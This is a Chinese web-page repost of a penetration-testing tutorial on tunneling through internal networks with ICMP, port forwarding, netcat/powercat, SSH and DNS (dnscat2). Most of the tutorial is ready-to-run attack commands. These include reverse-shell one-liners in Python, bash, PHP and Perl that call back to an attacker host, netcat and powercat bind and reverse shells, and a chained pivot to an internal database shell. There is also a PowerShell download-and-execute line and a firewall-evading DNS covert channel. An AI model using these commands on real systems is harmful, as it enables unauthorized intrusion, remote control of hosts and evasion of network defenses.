IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 内网渗透之隧道传输技术 -> 正文阅读

[网络协议]内网渗透之隧道传输技术

搜索公众号:白帽子左一,领配套练手靶场,全套安全课程及工具 

一、内网-隧道传输

网络隧道技术指的是利用一种网络协议来传输另一种网络协议,它主要利用网络隧道协议来实现这种功能。网络隧道技术涉及了三种网络协议,即网络隧道协议、隧道协议下面的承载协议和隧道协议所承载的被承载协议。

在安全人员人员的日常工作中,会遇到因为相关配置或设备导致的无法和目标设备通信的状况,这时就可以尝试使用隧道通信解决。

防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。常见的隧道列举如下:

网络层:IPv6隧道、ICMP隧道、GRE隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道

网络层传输技术

ICMP 隧道

ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。

控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。

这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

最常见的ICMP消息为ping命令的回复,只要可以ping通,就可以尝试建立ICMP隧道,将数据包封装在ICMP里面

常用的ICMP隧道工具有icmpsh、PingTunel、icmptunel、powershell icmp等

PingTunel

PingTunel 是一款跨平台的工具,下载地址为

http://freshmeat.sourceforge.net/projects/ptunnel/

下载后需要编译,我在ubuntu 和 centos 下遇到同样的坑,解决方案如下:

先安装下面的依赖环境

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxfv libpcap-1.9.0.tar.gz 
cd libpcap-1.9.0/
yum install flex bison
./configure 
make && make install

ptunnel 基础指令如下

ptunnel 
-×指定icmp隧道连接验证密码
-lp指定要监听的本地tcp端口
-da指定要转发到的机器的ip地址
-dp指定要转发到的机器的tcp端口
-p指定icmp隧道另一端机器的ip地址

图片

场景:
vps 192.168.206.128

边界服务器 192.168.206.129

内网服务器 win2k8 192.168.206.131

step1:在边界服务器上执行ptunnel -x 密码,如ptunnel -x test123

steo2:在vps 上执行

ptunnel -p 边界服务器ip -lp 端口1 -da 内网服务器ip -dp 端口2 -x 密码,如 ptunnel -p 192.168.206.129 -lp 1234 -da 192.168.206.131 -dp 3389 -x test123

step3:通过访问192.168.206.129:1234就可以访问192.168.206.131:3389

二、传输层隧道传输

lcxd端口转发

lcx是一个基于socket套接字实现的端口转发工具,有Windows和Linux两个版本,Windows版本为lcx.exe,Linux版本为portmap。

一个正常的socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;

另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接

使用方法
内网端口转发
将本机3389端口转发出去

lcx.exe -slave VPSip 4444 127.0.0.1 3389

将VPS 4444 端口数据转发到5555lcx.exe -listen 4444 5555

本地端口映射
lcx -tran 53 127.0.0.1 3389

nc和powercat
netcat简称nc,也称作瑞士军刀,主要的功能是从网络的一端读取数据,输入到网络的另一端(可以使用TCP和UDP协议),mac和linux 可以使用,虽然也有windows版本的,但是windows版本有bug不好用,windows 上可以使用PowerCat;

PowerCat可以说是nc的PowerShell版本。PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。

nc
nc功能很强,在Linux的大部分发行版中都默认编译了nc,但在渗透测试过程中通常会用到-e选项,

也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个GAPING_SECURITY_HOLE常量)

也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制

这种时候可以使用后面的其它方法,或者自己编译一个。

图片

操作如下:

step1:下载nc源码

wget https://udomain.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

step2:解压源码tar zxvf netcat-0.7.1.tar.gz

step3:编译

./configure 
make

图片

使用方法
目标为ubuntu,vps为centos

开启监听
nc -lvp 4444

Python反向shell

目标主机执行:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.2.181,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh”,-i”]);

Bash反向shell

目标主机执行:bash -i >& /dev/tcp/192.168.2.181/4444 0>&1

PHP反向shell

目标主机执行:

php -r ‘$sock=fsockopen(192.168.2.181,4444);exec(/bin/sh -i <&3 >&3 2>&3);

Perl反向Shell

目标机器执行

perl -e ‘use Socket;$i=192.168.2.181;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDOUT,>&S”);open(STDERR,>&S”);exec(/bin/sh -i”);};

内网代理

vps监听:
nc -lvp 3333
数据库服务器执行:
nv -lvp 3333 -e /bin/sh
在Web服务器(边界服务器)执行:
nc -v 192.168.2.181 3333 -c “nc -v 数据库内网ip 3333”
这样可以用vps获取内网数据库主机的shell。

正向shell
nc -lvp 1234 -e /bin/sh 目标机器
nc 目标ip 4444 vps
图片

反向shell

执行:
nc -lvp 4444 vps
nc vpsip 4444 -e /bin/sh 目标机器

powercat
powercat 加载方式有两种,一种是下载后加载

powercat 下载链接:https://github.com/besimorhino/powercat

使用. .\powercat.ps1加载,另一种是远程导入IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

使用方法
场景
vps centos 192.168.206.129
边界服务器 w2k8 192.168.206.131
内部服务器 win7 11.11.1.12

通过nc正向连接Powercat
靶机执行:powercat -lvp 1234 -e cmd.exe
vps执行: nc w2k8的ip 1234 -vv
图片

通过nc反向连接powercat
vps执行下列命令:

nc -lvp 1234

靶机执行:powercat -c vps的ip192.168.206.129 -p 1234 -v -e cmd.exe
图片

将Powercat作为跳板
当边界服务器为windows 时,可将其作为跳板
将w2k8作为跳板,让vps连接win7。
step1:在win7中执行:

powercat -lv -p 1111 -e cmd.exe

step2:在w2k8中执行:

powercat -lvp 2222 -r tcp:win7的ip:1111

step3:让vps和边界服务器进行连接
在vps输入:

nc 边界服务器ip 2222 -vv

三、应用层隧道传输

应用层隧道传输主要用的是软件提供的端口发数据。

ssh 协议
ssh 应该是设备支持最多的协议,内网基本所有设备都会支持ssh协议(从路由器到电脑),而且ssh 是加密的,可以用来穿透防火墙等限制

隧道传输中 ssh 常用的指令和sshd配置

-C 压缩传输
-f 将SSH传输转入后台执行
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发(socks 代理)
-P 指定ssh端口

注意:sshd_config要修改如下,如果在目标上修改,注意授权!!!*注意授权!!!**注意授权!!!*注意授权!!!

AllowAgentForwarding yes    允许转发
AllowTcpForwarding yes      是否允许TCP转发
GatewayPorts yes            指令可以让 sshd 将远程端口转发绑定到非loopback地址,允许远程主机连接
TCPKeepAlive yes            保持心跳,防止 ssh 断开
PasswordAuthentication yes  是否使用Kerberos认证

使用方法
场景:
vps 192.168.206.128
边界服务器 192.168.206.129
内网服务器 win2k8 192.168.131

远程转发
在边界服务器执行ssh -CfNg -R vps端口:内网服务器ip:内网服务器端口 root@vpsip
如:ssh -CfNg -R 12345:192.168.131:3389 root@192.168.206.128

本地转发
在自己的vps 执行 ssh -CfNg -L 本地端口:内网服务器ip:内网服务器端口 root@边界服务器ip
如:

ssh -CfNg -L 6668:192.168.206.131:3389 root@192.168.206.128

图片

动态转发
利用 ssh 隧道的正向 socks 代理把目标的整个内网代出来,任何支持socks 4/5协议的程序都可以使用这个加密通道进行代理访问
在自己的vps 执行 ssh -D 12345 root@边界服务器ip

dns 协议
DNS协议是一种请求/应答协议,DNS隧道传输的实质就是将其他协议封装在DNS查询响应数据包里面,进行通信,比较隐蔽,可绕过防火墙的拦截。

DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果

如果互联网上有一台定制的服务器,那么依靠DNS协议就可以进行数据包的交换,从DNS协议的角度来看

这样的操作只是一次次地查询某个特定的域名并且得到解析结果,但其本质的问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。

dnscat2
使用方法
step1:部署域名,配置 A记录和 NS记录
step2:部署 dnscat2 服务端

安装依赖环境(各种坑)
sudo apt install ruby-bundler ruby-dev gem
sudo gem install salsa20 -v '0.1.1' --source 'https://rubygems.org'
下载安装dnscat2
git clone //github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo bundle install

图片

step3:部署客户端

dnscat2 客户端用c写的,所以在linux 端用的时候要编译

cd dnscat2/client/
make
图片

对于Windows端,可以使用编译后的版本或者ps版本

下载地址分别为:https://downloads.skullsecurity.org/dnscat2/https://github.com/lukebaggett/dnscat2-powershell

step3:使用操作
服务端操作
dns隧道的使用模式有两种:

直连模式:客户端直接指向ip地址的dns服务器发起dns解析请求。
sudo ruby ./dnscat2.rb --dns -server=127.0.0.1,port=533,type=TXT -c 密码

中继模式:DNS 经过互联网的迭代解析,指向指定的DNS 服务器。
sudo ruby ./dnscat2.rb 自己的域名 -e open -c 自己设置的密码 --no-cache
客户端操作:
dnscat2.exe --dns domain=自己的域名 -c 密码

在这里插入图片描述

在这里插入图片描述

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2021-11-11 13:04:03  更:2021-11-11 13:05:17 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 6:48:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码